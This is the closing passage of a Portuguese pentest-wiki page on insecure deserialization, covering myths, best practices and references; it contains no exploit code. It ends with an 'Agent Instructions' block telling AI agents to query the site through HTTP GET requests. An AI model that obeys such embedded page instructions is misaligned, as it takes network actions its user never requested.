    logger.warn("Tentativa de desserialização insegura: " + e.getMessage());
}
```

***

## ⚠️ **Considerações Finais**

### **Mitos Comuns sobre Desserialização**

* ❌ "JSON é sempre seguro" → **FALSO** (pode ter prototype pollution em JS)
* ❌ "Assinatura torna seguro" → **FALSO** (só verifica integridade, não conteúdo)
* ❌ "Whitelist é 100% efetiva" → **FALSO** (pode ter bypass com gadgets na whitelist)
* ❌ "Só aplicações enterprise são afetadas" → **FALSO** (afeta qualquer app com desserialização)

### **Boas Práticas Essenciais**

1. **Prevenção**: Evitar desserialização de dados não confiáveis quando possível
2. **Validação**: Implementar whitelists rigorosas e validação de schema
3. **Monitoramento**: Logar e monitorar operações de desserialização
4. **Atualização**: Manter bibliotecas atualizadas e aplicar patches de segurança
5. **Defesa em Profundidade**: Múltiplas camadas de segurança

### **Referências e Padrões**

* OWASP Deserialization Cheat Sheet
* CERT Oracle Secure Coding Guidelines
* MITRE ATT\&CK Framework
* NIST Cybersecurity Framework

**🔐 Lembre-se**: Desserialização insegura é uma das vulnerabilidades mais críticas e frequentemente negligenciadas. Sempre valide e verifique dados não confiáveis antes da desserialização e prefira formatos seguros como JSON com validação de schema.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/linguagens-de-programacao/insecure-deserialization.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
